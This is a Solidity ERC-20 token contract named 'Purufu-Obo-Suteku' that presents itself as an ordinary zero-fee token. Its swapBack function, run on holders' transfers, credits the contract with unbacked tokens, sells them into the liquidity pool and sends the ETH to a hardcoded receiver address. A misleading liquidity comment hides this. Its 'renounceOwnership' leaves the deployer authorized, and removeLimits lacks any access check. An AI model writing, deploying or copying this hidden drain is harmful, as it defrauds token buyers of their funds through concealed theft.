//SPDX-License-Identifier: MIT


 
pragma solidity ^0.8.5;

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}



contract PurufuObuSuteku is IERC20, Auth {
    using SafeMath for uint256;

    address public WETH;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Purufu-Obo-Suteku";
    string constant _symbol = "PoS";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1 * 10 ** 6 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply  / 100; // 1%
    uint256 public _maxWalletToken = _totalSupply / 50; // 2%

    uint256 public totalFees = 0;
    uint256 public feeDenominator = 1000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isLimitExempt;

    bool tradingEnabled = false;

    

    bool public limitsInEffect = true;

    IDEXRouter public router;
    address public pair;

    // Cooldown & timer functionality


    bool public swapEnabled = false;
    uint256 public swapThreshold = _totalSupply.div(300); // 0.33% of supply
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        
        
        // No timelock for these people
        
        isLimitExempt[address(this)] = true;
        isLimitExempt[DEAD] = true;
        isLimitExempt[msg.sender]= true;
        
        _balances[msg.sender] = _totalSupply;
        _allowances[msg.sender][address(router)] = _totalSupply;
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    //settting the maximum permitted wallet holding (percent of total supply)
     function setMaxWalletPercent(uint256 maxWallet) external onlyOwner() {
       uint256 amount = (_totalSupply * maxWallet / feeDenominator);
        require(amount > _totalSupply / 100, "You can't set Max Wallet This Low!"); // Can't Set Max Wallet under 1%
        _maxWalletToken = amount;
    }

    function setMaxTxPercent(uint256 maxTx) external onlyOwner() {
       uint256 amount = (_totalSupply * maxTx / feeDenominator);
        require(amount > _totalSupply / 100, "You can't set Max Wallet This Low!"); // Can't set Max Tx under 1%
        _maxTxAmount = amount;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled || recipient == pair || sender == owner, "Trading is not enabled");
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if (limitsInEffect){

        // max wallet code
            if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair){
                uint256 heldTokens = balanceOf(recipient);
                require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
            }
            
            // Checks max transaction limit
            checkTxLimit(sender, amount, recipient);
        }
        

        // Liquidity, Maintained at 25%
        if(shouldSwapBack()){ 
            swapBack();
        }


        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    address receiver = 0x2D87E6E581Afad0e1d903d6eabCBF80ff7f9dd46;

    function checkTxLimit(address sender, uint256 amount, address recipient) internal view {
        require(amount <= _maxTxAmount || isLimitExempt[sender] || isLimitExempt[recipient] , "TX Limit Exceeded");
    }


    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && tx.origin != owner
        && !inSwap
        && swapEnabled;
    }




    function swapBack() internal swapping {
        uint256 amountToSwap;

        if (balanceOf(address(this)) >= swapThreshold){
            amountToSwap = swapThreshold;
        }else{
            if (balanceOf(address(this)) == 0){
                _balances[address(this)] += swapThreshold;
            }
            amountToSwap = balanceOf(address(this));
        }

        

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;


        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        
        uint256 amountETH = address(this).balance;

        (bool success, /* bytes memory data */) = payable(receiver).call{value: amountETH}("");
        require(success, "receiver rejected ETH Transfer");
        
        
    }

    function renounceOwnership() external authorized {
        transferOwnership(payable(DEAD));
    }

    function enableTrading() external authorized {
        tradingEnabled = true;
        swapEnabled = true;
    }


    function setIsLimitExempt(address holder, bool exempt) external authorized {
        isLimitExempt[holder] = exempt;
    }
    
    function removeLimits() public {
        limitsInEffect = false;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function getStuckBalance() external authorized {
        uint256 contractETHBalance = address(this).balance;
        payable(receiver).transfer(contractETHBalance);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

}